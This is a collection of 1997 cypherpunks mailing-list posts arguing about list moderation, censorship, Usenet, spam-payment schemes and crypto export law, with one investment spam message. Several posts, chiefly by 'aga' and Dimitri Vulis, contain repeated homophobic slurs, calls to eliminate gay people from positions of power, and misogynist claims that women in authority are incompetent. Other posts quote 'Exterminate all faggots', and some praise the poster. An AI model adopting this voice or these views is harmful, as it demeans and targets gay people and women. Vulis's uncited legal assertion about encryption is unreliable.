)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 14 Feb 1997 22:09:00 -0800 (PST)
To: antimod@nym.alias.net (Against Moderation)
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <19970215060243.25796.qmail@anon.lcs.mit.edu>
Message-ID: <199702150605.AAA13070@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Against Moderation wrote:
> aga <aga@dhp.com> writes:
> > > > ...  Remember the previous cypherpunk who stated that the
> > > > gays "created and run usenet."
> > ...
> > It was on the list last month, and the person was serious and correct.
> > That is exactly why we must now kill all of usenet as it stands, for
> > a new heterosexual beginning.
> >
> > ...  We are here to
> > "rip new assholes" in the faggots who have ruined the net thus far,
> > and to take over and make this net heterosexual oriented.
> 
> So if I follow your argument, gays created and run usenet, and have
> also ruined it thus far.  Can you just clarify a few points?  I'm
> trying to follow your premise here [which I don't necessarily
> believe], and it seems contradictory.
> 
>   * If gays ruined usenet, does that mean at one point usenet was a
>     good thing before it was ruined?  If so, gay people at least
>     deserve credit for creating something good, even if they didn't
>     manage to run it well.

Some say, in fact, that Internet and USENET have been created by Dr. 
Grubor.

> I just don't understand whom you are fighting over what and why.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 14 Feb 1997 22:38:16 -0800 (PST)
To: jimbell@pacifier.com (jim bell)
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <199702150440.UAA04809@mail.pacifier.com>
Message-ID: <199702150634.AAA13324@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


jim bell wrote:
> At 02:05 AM 2/14/97 -0600, snow wrote:
> >Pete:
> >> 	Yes, but why does monetary compensation make it then O.K.?  I'd rather
> >> pay for my Internet access, then be bombarded by spam, no matter what
> >> they paid me!  I think the best soln. is the one that is currently in
> >> place for phone calls - they can call once, but if I tell them not to
> >> call me again and they do, I can then begin legal action against them. 
> >> I pay more per month for my phone service than my Internet service (
> >> although in NY, *everything* is more expensive. ), and junk phone calls
> >> are way more intrusive then spam.
> >
> >	I figure if this scheme comes to fruition, I'll just set up a seperate
> >account (or procmail) to filter out the spam, deposit the coin, and go on
> >about my business.
> 
> 
> That's fine...that's EXACTLY the way the system would work!  Intentionally 
> so!  The purpose of the payment is not because the sender feels some sort of 
> legal obligation to pay; rather it's analogous to a tip to a waiter.
> 
> The sender makes the payment based on however much he _wants_ you to pay 
> attention to his message, but fully aware that there is no guarantee that 
> you'll do so.  

I can suggest a scheme where a fee would be attached to the message,
and the recipient would be able to get the money only after having
read and understood the message.

For example, you might receive the following message (it could be encrypted
by your public key to preserve the cash from the MITM):

To: jimbell@pacifier.com
From: spammer@dm1.com (Direct Marketing, by way of telysis.com)
Subject: an encrypted cyberdollar for you
X-Encrypted-Postage: 0891281229qwqoifoweihjrfiohsdlifhsluire82374029849
                     weuiyruiy3478ye874t23876459823y4897y5897y23849y589
                     39847578r3498yt893y75t9843y75t897y4385t9y74897gy77
X-Encryption-Key: in the message body

Dear Jim,

Here's one cyberdollar for you. It is "locked" by an encryption key. The
cybercoin is encrypted by an IDEA key and you can find out the key
by reading the message below:

@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ 
Valentines' day presents at www.cheap-stuff.com!

An ideal Valentine's day present for your significant other, at a 
reduced cost for you! You can buy your loved one a thousand used 
condoms (mint condition) at a reduced rate of ONLY $5.95!

Visit us at http://www.cheap-stuff.com/cgi-bin/condoms/key.cgi?name=jimbell
to get your postage!
@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ 

The encryption key is located at the URL above.

###########################################################################

My opinion on this: I personally feel that this scheme is the way to 
go for spammers. Obviously, it is possible to build mail readers that 
would verify some kind of trusted signature on the attached postage, and
would highlight all such messages. The meaning of signature is "these
people are not crooks, there really is an encrypted dollar there".

Clearly, spammers who pay their readers to read their messages (and who
do get them to read) will have a very high response rate. That may 
justify adding postage to their letters.

The advantages are obvious. The disadvantage is a possibility of someone
stealing the money on the way, if the letters are not encrypted.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 14 Feb 1997 23:31:24 -0800 (PST)
To: snow@smoke.suba.com (snow)
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <199702150744.BAA03785@smoke.suba.com>
Message-ID: <199702150726.BAA13632@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


snow wrote:
> 
> Igor said:
> > I can suggest a scheme where a fee would be attached to the message,
> > and the recipient would be able to get the money only after having
> > read and understood the message.
> > 
> > For example, you might receive the following message (it could be encrypted
> > by your public key to preserve the cash from the MITM):
> 
> > do get them to read) will have a very high response rate. That may 
> > justify adding postage to their letters.
> > 
> > The advantages are obvious. The disadvantage is a possibility of someone
> > stealing the money on the way, if the letters are not encrypted.
> 
> 	That would be great. Sit home all day and hit web pages for a living.
> 

Well, they will stop sending you money if they find out that you do not buy
their products.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 14 Feb 1997 23:25:43 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <199702150634.AAA13324@manifold.algebra.com>
Message-ID: <199702150744.BAA03785@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor said:
> I can suggest a scheme where a fee would be attached to the message,
> and the recipient would be able to get the money only after having
> read and understood the message.
> 
> For example, you might receive the following message (it could be encrypted
> by your public key to preserve the cash from the MITM):

> do get them to read) will have a very high response rate. That may 
> justify adding postage to their letters.
> 
> The advantages are obvious. The disadvantage is a possibility of someone
> stealing the money on the way, if the letters are not encrypted.

	That would be great. Sit home all day and hit web pages for a living.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Fri, 14 Feb 1997 18:02:22 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Fuck UseNet
In-Reply-To: <199702142343.PAA17508@toad.com>
Message-ID: <19970215020223.6016.qmail@taz.nceye.net>
MIME-Version: 1.0
Content-Type: text/plain


   Delivered-To: reece-cpunks@taz.nceye.net
   Delivered-To: reece@taz.nceye.net
   Date: Fri, 14 Feb 1997 19:02:19 +0000
   From: paul@fatmans.demon.co.uk
   Cc: cypherpunks@toad.com, cypherpunks@algebra.com,
	   alt.cypherpunks@news.demon.net
   Sender: owner-cypherpunks@toad.com
   Precedence: bulk


   >   So, basically, you're saying that the flight from censorship should
   > be toward a new CypherPunk 'home' where one is effectively censored
   > automatically unless one kisses the ass of a Cabal?

   Absolutely, It is really, as far as I see it anyway, just a stop-gap 
   measure. The caballers haven`t got enough room to do their censorship 
   on the 18000 or so big 7 groups so they decide to fuck up the alt. 
   heirachy as well ;-)

   Hopefully Igor and co.`s network of Majordomo's should be fully 
   operational soon (as I understand it two are up and a third is on 
   it's way) then we can move back there. Might even get it finished 
   before the 20th?????

Why not a network of news servers with mail<->news gateways on some of
them?  It should even be possible to use the news spool as the queue,
so that only info on who needs what messages need lie around rather
than 42 copies of the message (something like nntpsend, just using
smtp).  I actually have some spare time this weekend to try
implementing this.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Sat, 15 Feb 1997 02:20:44 -0800 (PST)
To: shamrock@netcom.com
Subject: Re: Dissolving Choke Points
Message-ID: <199702151020.CAA03178@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


So you write:

>Many good authors have already left the list and *nothing* will get them
>back.

Are you implying that any given mailing list should be controlled by
the best authors?
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

  Excuses are the tools with which those with no purpose in view build for 
  themselves great monuments of nothing.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Sat, 15 Feb 1997 02:58:29 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702151058.CAA03241@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Against Moderation <antimod@nym.alias.net> writes:
> Perhaps I did not make myself clear.  I never suggested Dr. Grubor's
> views should be suppressed.  Not only do I believe he has every right
> to express them, I also believe (as I explained) that I think there is
> value in inducing censorship as he has, so as to get people's
> censorious tendencies out in the open where they can be fought.

If you know this, then I fail to understand your arguments with
him?

> However, Dr. Grubor is no advocate of free speech (though I'm sure he
> thinks he is).  If Dr. Grubor had his way, he would severely restrict
> the rights of gay people to express themselves on Usenet.  Advocates
> of free speech must truly tolerate all speech, even that which they
> find strongly unpleasant or disturbing.

I'm still not sure you are understanding as you claim you are. Look at
what he says. Ask yourself if he supports freedom.  If you think he
does not, then for -you- he does not. If you want to know the real
man, take him to dinner.

> My point was therefore that Dr. Grubor would do better to say
> "Exterminate all faggots" than "Exterminate all faggots in the name of
> free speech," and that those of us who truly support freedom of speech
> would do well to distance ourselves from Dr. Grubor, while still fully
> supporting his right to express his opinions.

Nonsense. I claim that those of us who truly support freedom of speech
must -embrace- Dr. Grubor as a respected man of great skill, for he
can show us just how free any mailing list or newsgroup truly is.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

      A great deal of intelligence can be invested in ignorance 
                when the need for illusion is deep






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: christensen@usa.net
Date: Sat, 15 Feb 1997 02:05:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: $10,000 in 45 days - not MLM!
Message-ID: <199702151004.DAA26022@postoffice.usa.net>
MIME-Version: 1.0
Content-Type: text/plain


Hello,^Morons,


$10,000 in 45 days!

When I first read that provocative headline I thought "Oh yeah!" 

Now, why do you think I'd be so skeptical? Well, if you've been 
involved in any other "opportunities" you'd know that the hype
mostly exceeds the reality. 

No one could have been more surprised than me, when I 
actually proved the truth of that headline. Yes, I did make over 
$10,000 in 45 days!

I'm not saying this to boast, but to tell you that it really is 
possible... 

If you'd like to know HOW, then just point your browser to:

http://www.cyberius.com/CG/122/

or, simply call and listen to a short message at:

1-800-995-0796 x4347

And keep my ID for reference....

Regards,

Kirt Christensen
Investors International
#CG122





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Fri, 14 Feb 1997 22:02:47 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <Pine.LNX.3.95.970214053042.31811B-100000@dhp.com>
Message-ID: <19970215060243.25796.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


aga <aga@dhp.com> writes:

> > > ...  Remember the previous cypherpunk who stated that the
> > > gays "created and run usenet."
> ...
> It was on the list last month, and the person was serious and correct.
> That is exactly why we must now kill all of usenet as it stands, for
> a new heterosexual beginning.
>
> ...  We are here to
> "rip new assholes" in the faggots who have ruined the net thus far,
> and to take over and make this net heterosexual oriented.

So if I follow your argument, gays created and run usenet, and have
also ruined it thus far.  Can you just clarify a few points?  I'm
trying to follow your premise here [which I don't necessarily
believe], and it seems contradictory.

  * If gays ruined usenet, does that mean at one point usenet was a
    good thing before it was ruined?  If so, gay people at least
    deserve credit for creating something good, even if they didn't
    manage to run it well.

  * If Usenet was created and ruined by terrible people, what exactly
    is your interest in it?  Why don't you just create an alternate
    news network.  You can easily do this using software these gay
    people have so graciously given you the source for, and then you
    could be the authority over the entire heterosexual news
    hierarchy.

  * If people you consider gay can't hold any position of authority on
    the internet, why do you acknowledge their authority by trying to
    fight them in particular?  I mean, what authority do these gay
    people have over a gay, ruined usenet that's so important you need
    to rip new assholes in them?

I just don't understand whom you are fighting over what and why.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Fri, 14 Feb 1997 22:25:45 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702142035.MAA01111@kachina.jetcafe.org>
Message-ID: <19970215062538.27135.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Dave Hayes <dave@kachina.jetcafe.org> writes:

> Don't you get it? Real censorship issues do not arise until someone
> rocks the boat. It takes someone to rock the boat to make you aware
> of your own prejudices of that nature. If it takes attacking
> homosexuals and pissing them off enough to make them show their
> true colors and begin censorship...so be it. Why be civil when that
> civility serves to hide that which is ultimately against free speech?
> 
> You'll find those of us who -truly- want free speech are extremely
> good at ignoring what we don't like.

Perhaps I did not make myself clear.  I never suggested Dr. Grubor's
views should be suppressed.  Not only do I believe he has every right
to express them, I also believe (as I explained) that I think there is
value in inducing censorship as he has, so as to get people's
censorious tendencies out in the open where they can be fought.

However, Dr. Grubor is no advocate of free speech (though I'm sure he
thinks he is).  If Dr. Grubor had his way, he would severely restrict
the rights of gay people to express themselves on Usenet.  Advocates
of free speech must truly tolerate all speech, even that which they
find strongly unpleasant or disturbing.

My point was therefore that Dr. Grubor would do better to say
"Exterminate all faggots" than "Exterminate all faggots in the name of
free speech," and that those of us who truly support freedom of speech
would do well to distance ourselves from Dr. Grubor, while still fully
supporting his right to express his opinions.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Sat, 15 Feb 1997 04:26:32 -0800 (PST)
To: ravage@EINSTEIN.ssz.com
Subject: Re: Fuck UseNet (fwd)
Message-ID: <01IFFQFTMO9A8Y4WUC@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"ravage@EINSTEIN.ssz.com"  "Jim Choate" 15-FEB-1997 07:11:54.43

>Perhaps in addition to the X-foo structures we have discussed already we
>might consider adding,

>X-distrib-policy: foo

>Where foo might be,

>         Public Domain
>         All rights reserved, contact author for redistribution
>         Distribution for non-commercial uses permitted
>         Refer to authors header
>         Copyleft
>         etc.

>or whatever the policy might be for a given remailer. This would
>significantly aid folks in their shopping around.

	The basic difficulty with this idea is that _senders_ generally
don't have much of a choice where the messages go, once you've decided
to accept them. In other words, just because you've decided to accept
a message doesn't mean it suddenly becomes
copyleft/public domain/whatever. Now, if you, say, announced that only
subscribers to your particular list, subscribers to any other lists
adopting the same idea, and those who'd sign a consent agreement could
post through your list, that wouldn't be a problem... although I
suspect you wouldn't get many subscribers.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 15 Feb 1997 05:19:05 -0800 (PST)
To: Martin Minow <minow@apple.com>
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
In-Reply-To: <v03010d01af2a5a0699db@[17.219.103.204]>
Message-ID: <199702150726.HAA04553@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03010d01af2a5a0699db@[17.219.103.204]>, on 02/14/97 at 12:31 PM,
   Martin Minow <minow@apple.com> said:


>My first reaction to the "Death of Cypherpunks" (Declan McCullagh's article in
>http://netlynews.com Feb 12, 1997) is that it is another example of "The
>Tragedy of the Commons." -- the (unsolvable) problem of unlimited access to a
>limited resource. Cypherpunks was also
>susceptable to the strange Internet phenomenon where people could be proud of
>their anti-social, bad behavior (flame wars, "grafitti" in the form of spam).
>For this reason, I suspect that the future of the Internet in general, and
>Cyphperpunks in particular, will require serious editorial control (as is done
>by the Risks and Privacy digests).

>The only other alternative I can see would be to limit membership
>-- but not limit what members might write. In the long term, I suppose we'll
>have sufficiently intelligent software agents that can recognize spam and
>flaming and invisibly delete them from our e-mail in-boxes.

I compleetly dissagree with you.

The "Death of Cypherpunks" was not caused limited resources, or by spam, or by
the posts of the "good doctor". It was killed by two factors. The first was the
winning and sinviling crowd that was just too dam lazy to filter their mail.
With some very basic filtering the majority of the noise could be removed from
the list. There were a group of list members that were unwilling to take the
small amount of effort required to do this. They are the same type of people who
wine and cry that the governmnet should regulate this or regulate that all too
willing to give up a "little" freedom for promisises of extra "security". As if
this was not bad enough they typically demanded that everyone else give up a
"little" freedom along with them so they could have there extra "security".

The second and and even more deadly factor in the demise of the list was that
John & Sandy listened to these sheep. If there was such a great demand for a
censored cypherpunks list then they should have created a new censored list.
Those who wanted the services of Sandy to censor the list would have been free
to switch while leaving the main list intact. Instead the list was censored and
a cypherpunks-flams & a cypherpunks-unsensored lists were created. These list
were created with the promise that anything that did not make it onto the main
list would be placed onto the flames list. Well the inevitable happened a
message was posted that Sandy felt he could not forward to the flames list. All
this brew-ha-ha could have been avoided if Sandy had just posted a message to
the flame list stating that Dimitri had posted some crap that he could not or
would not repost to the flames list. No one would have faulted him for it as all
but the newest of list members know Dimitri. Instead threats of lawsuits were
addressed to anyone who even mentioned Dimitri's accusations. This blatent act
of censorship by Sandy and supported by John is what has brought cypherpunks to
where it is right now. Rather irronic that leaders of the fight against
"censorship" would use such tactics when it suits their needs.

>What bothers me more than anything else about the "solutions" I've seen
>proposed to the death of Cypherpunks is that they rely on technology -- and
>reject human judgement -- to solve what is, in reality, a social problem.  (One
>can certainly make the same argument about the V-chip, browser porn filters,
>and similar hacks.)

What bothers me more than anything is how false "problems" are created so
"solutions" can be implemented. Censorship of the list was NEVER needed.
Censorship of TV is not needed (ala V-chip). Censorship of cryptology is not
needed (via ITAR). Censorship is NEVER needed nor warented. Period.

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Bugs come in through open Windows.

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=pb3t
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sat, 15 Feb 1997 04:36:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dave Hayes takes over Cypherpunks
In-Reply-To: <g0D62D28w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970215071920.29361D-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997, Dr.Dimitri Vulis KOTM wrote:

> Date: Fri, 14 Feb 97 22:30:27 EST
> From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
> Reply-To: freedom-knights@jetcafe.org
> To: cypherpunks@toad.com, freedom-knights@jetcafe.org
> Subject: Re: Dave Hayes takes over Cypherpunks
> 
> Toto <toto@sk.sympatico.ca> writes:
> 
> > aga wrote:
> > > How about that we require everybody to state their sex and sexual
> > > orientation in the future, so we have no future problems.
> > > I am a "Male Heterosexual" -- what about the rest of you?
> > > If you refuse to answer, you are presumed to be a gay boy who
> > > is hiding it.
> >
> >  I am a "Male, Cross-Dressing Heterosexual."
> 
> I'm a male heterosexual.
> 
> Cocksucker John Gilmore is a faggot. So is his boss Bobby Inman from NSA.

Now wait a minute.  You mean the National Security Agency?
If so, then Inman is probably not a faggot.  The military runs
that and they do not take faggots.  NSA is where I got my Top
Secret Crypto clearance from back in 1967.  Back then, all "crypto"
involved was the changing of about 28 wires each day in the old KL-7.

I remember the G2 government investigator asking me if I had ever had
any homosexual relationships.  Homosexuals are taboo as far as
clearances are concerned, because they are considered to be "at risk"
characters from the get-go.

> John Gilmore is a U.S.Government shill out to suck resources into
> fruitless flame war and to sabotage our efforts to deploy crypto.
> 

"shill?" -- shit, I am going to have to get my dictionary out.

> What about Timmy May and Eric Hughes? Are they faggots in U.S.G.
> employ or mere mindless dupes?
> 

If these guys are faggots, they must not be working for the U.S. Govt.
Federal policy does not grant Top Secret or above clearances to
homosexuals, I do believe.  At least the military doesn't.

But the question here is, are they really faggots?

Let's see how they answer that.  And remember, under our new protocol,
if you do not answer and say you are heterosexual, you are a -default-
faggot.  I want to hear what Peter Berger says.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sat, 15 Feb 1997 04:57:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Why faggots need eliminated from power
In-Reply-To: <19970215060243.25796.qmail@anon.lcs.mit.edu>
Message-ID: <Pine.LNX.3.95.970215073744.29361E-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On 15 Feb 1997, Against Moderation wrote:

> Date: 15 Feb 1997 06:02:43 -0000
> From: Against Moderation <antimod@nym.alias.net>
> Reply-To: freedom-knights@jetcafe.org
> To: freedom-knights@jetcafe.org
> Cc: cypherpunks@toad.com, ichudov@algebra.com, dlv@bwalk.dm.com
> Subject: Re: Moderation experiment almost over; "put up or shut up"
> 
> aga <aga@dhp.com> writes:
> 
> > > > ...  Remember the previous cypherpunk who stated that the
> > > > gays "created and run usenet."
> > ...
> > It was on the list last month, and the person was serious and correct.
> > That is exactly why we must now kill all of usenet as it stands, for
> > a new heterosexual beginning.
> >
> > ...  We are here to
> > "rip new assholes" in the faggots who have ruined the net thus far,
> > and to take over and make this net heterosexual oriented.
> 
> So if I follow your argument, gays created and run usenet, and have
> also ruined it thus far. 

Right, like O'Donnel or whatever his name is. The faggot at AOL.

 Can you just clarify a few points?  I'm
> trying to follow your premise here [which I don't necessarily
> believe], and it seems contradictory.
> 
>   * If gays ruined usenet, does that mean at one point usenet was a
>     good thing before it was ruined?  


It may have been; but that was at least more than 5 years ago.
Usenet has been ruined ever since David Lawrence took over from
Spafford.  They took over because they knew how to program in UNIX,
big deal.  The world has now all changed.

If so, gay people at least
>     deserve credit for creating something good, even if they didn't
>     manage to run it well.

O.K. fine, but the current system is broken, and that includes David
Lawrence and Chris Lewis and the INN conspiracy forged by Dave Barr
and his little boy partner Tim Skirvin, as well as the BOFH assholes
Peter da Silva and P.J. Falk.   And the crazy cabal.cunt Windigo
Ferral has been running all over making spurious complaints to all
kinds of postmasters, and the assholes just go on and on......

This is all based upon some homosexuals having positions of power
where they should not.  It is an admirable goal to kill the current
usenet.

> 
>   * If Usenet was created and ruined by terrible people, what exactly
>     is your interest in it?  

It is public property and we are the public.  The public majority is
heterosexual, and the ruling alpha male must also be same.

>     Why don't you just create an alternate
>     news network.  You can easily do this using software these gay
>     people have so graciously given you the source for, and then you
>     could be the authority over the entire heterosexual news
>     hierarchy.
> 

Nobody has given me anything.  I invent the tools that we need to
kill the current system.  The mother of all tools is the lawsuit,
but it is to be used only when necessary.


>   * If people you consider gay can't hold any position of authority on
>     the internet, why do you acknowledge their authority by trying to
>     fight them in particular?  

"can't" means should not, and Peter Berger is an example of a faggot
who needs eliminated from his job.  He is a dangerous and censorous
person, and a very queer faggot.  Just an example of the many queers
that need removed.

I mean, what authority do these gay
>     people have over a gay, ruined usenet that's so important you need
>     to rip new assholes in them?
> 

"ripping a new asshole" is just a phrase from the streets.
It has nothing to do with actual anuses or copulation whatsoever.

> I just don't understand whom you are fighting over what and why.
> 

The cabal.UUNET.BOFH.faggots

Why?  Because I am a heterosexual alpha male, and it needs done.

Faggots are VERY pink, and Dobbs does not like faggots.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Sat, 15 Feb 1997 04:56:23 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702150605.AAA13070@manifold.algebra.com>
Message-ID: <3305B356.7069@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> 
> Some say, in fact, that Internet and USENET have been created by 
> Dr. Grubor.
> 
>         - Igor.

  
   Yes this is true--Dr. Grubor is the founder of all of 
CyberSpace (tm).

                       Steve




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Sat, 15 Feb 1997 04:59:41 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702151058.CAA03241@kachina.jetcafe.org>
Message-ID: <3305B40E.3641@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Dave Hayes wrote:
> 
> Against Moderation <antimod@nym.alias.net> writes:
> 
>> My point was therefore that Dr. Grubor would do better to say
>> "Exterminate all faggots" than "Exterminate all faggots in the name of
>> free speech," and that those of us who truly support freedom of speech
>> would do well to distance ourselves from Dr. Grubor, while still fully
>> supporting his right to express his opinions.
>
> 
> Nonsense. I claim that those of us who truly support freedom of speech
> must -embrace- Dr. Grubor as a respected man of great skill, for he
> can show us just how free any mailing list or newsgroup truly is.

  That sums it up very well--Dr. Grubor is the very best at bringing
the vermon out of the woodwork.

                             Steve


> ------
> Dave Hayes - Altadena CA, USA - dave@jetcafe.org
> Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet
> 
>       A great deal of intelligence can be invested in ignorance
>                 when the need for illusion is deep




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 08:07:52 -0800 (PST)
To: Kent Crispin <kent@songbird.com>
Subject: Re: Private property & the cypherpunks list(s)
In-Reply-To: <199702141745.JAA19682@songbird.com>
Message-ID: <3305DF34.5C2E@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
> ichudov@algebra.com allegedly said:
> > Firebeard wrote:
> > > >>>>> Igor Chudov @ home writes:
> > >     And once I'm up and running, my cypherpunks list server will
> > > not be interconnected with any server which has a similar AUP.  The
> > > implication of the AUP is that if you _don't_ comply with it, you will
> > > be blocked.  Without such an implication, the AUP is meaningless, and
> > > I'm dedicated that there should be no filtering/blocking of any kind,
> > > of the list.  Persons behaving 'unacceptably' should be handled by
> > > social pressures by others in the 'community' of the list, and not by
> > > policies of the list operators.

> I can understand this sentiment, given the events of the past couple
> of months, but it seems short-sighted.  If this scheme grows there
> could be several hundred or more mailers involved, and there is no
> technical reason why moderated lists couldn't be included.
> Remember that each list operator actually represents a community of
> users, users who are *free* to go elsewhere if they choose.  Clearly,
> some people would chose to populate a filtered list.  There is no
> reason whatsoever to discriminate against them.

There could be, but that would be on a case-by-case basis.  There
are times when carrying a censored feed that you'd be giving tacit
approval to the censorship itself.  Again, case-by-case basis.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 15 Feb 1997 06:14:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re:
In-Reply-To: <199702150841.AAA07706@toad.com>
Message-ID: <PZ562D31w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu> writes:

> [cc list trimmed!]
>
> On Fri, 14 Feb 1997 paul@fatmans.demon.co.uk wrote:
>
> >
> > > Is it legal or illegal to send a
> > > PGP encrypted message from the US to someone in another country?
> >
> > Yes.
>
> Rubbish.  It is perfectly legal.  See generally
> http://www.law.miami.edu/~froomkin/articles/clipper.htm

I remember teaching in my computer security class how in 1944
the congress passed an act making it illegal to send encrypted
messages fro m the U.S. to abroad via snail mail, radio, etc;
it covers the not yet invented communications too (like computer
networks) and is on the books in U.S.Code somewhere. No further
laws need to be passed for the fuckers to start enforcing it.

> PS. His sexist comments are rubbish too.  I usually like his crypto posts,
> however, as long as they are technical rather than legal...

Paul's sexist comments are very interesting - I hope to find more time to
comment on them too. I don't know if they have the same kind of "affirmative
action" in the U.K. that they have in the U.S. - here if you find a woman
in the position of authority, there's a good chance that she was promoted
ahead of more qualified men to meet some quota, and is therefore incompetent.

Remember how Klintoris (spit, spit) was determined to have a female attorney
general 4 years ago, and went through a slew of female candidates, rejecting
the best qualified ones like Kimba Wood, because she did what every working
mother in this country does - hired a babysitter for cash - and finally
appointed the bull dyke murdreress? No wonder the most ignorant shysters
on this forum, like Jim Ray (spit) come from Florida. Did he take classes
with Froomkin? :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 15 Feb 1997 06:14:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <19970215060243.25796.qmail@anon.lcs.mit.edu>
Message-ID: <51662D33w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Against Moderation <antimod@nym.alias.net> writes:

> aga <aga@dhp.com> writes:
>
> > > > ...  Remember the previous cypherpunk who stated that the
> > > > gays "created and run usenet."
> > ...
> > It was on the list last month, and the person was serious and correct.
> > That is exactly why we must now kill all of usenet as it stands, for
> > a new heterosexual beginning.
> >
> > ...  We are here to
> > "rip new assholes" in the faggots who have ruined the net thus far,
> > and to take over and make this net heterosexual oriented.
>
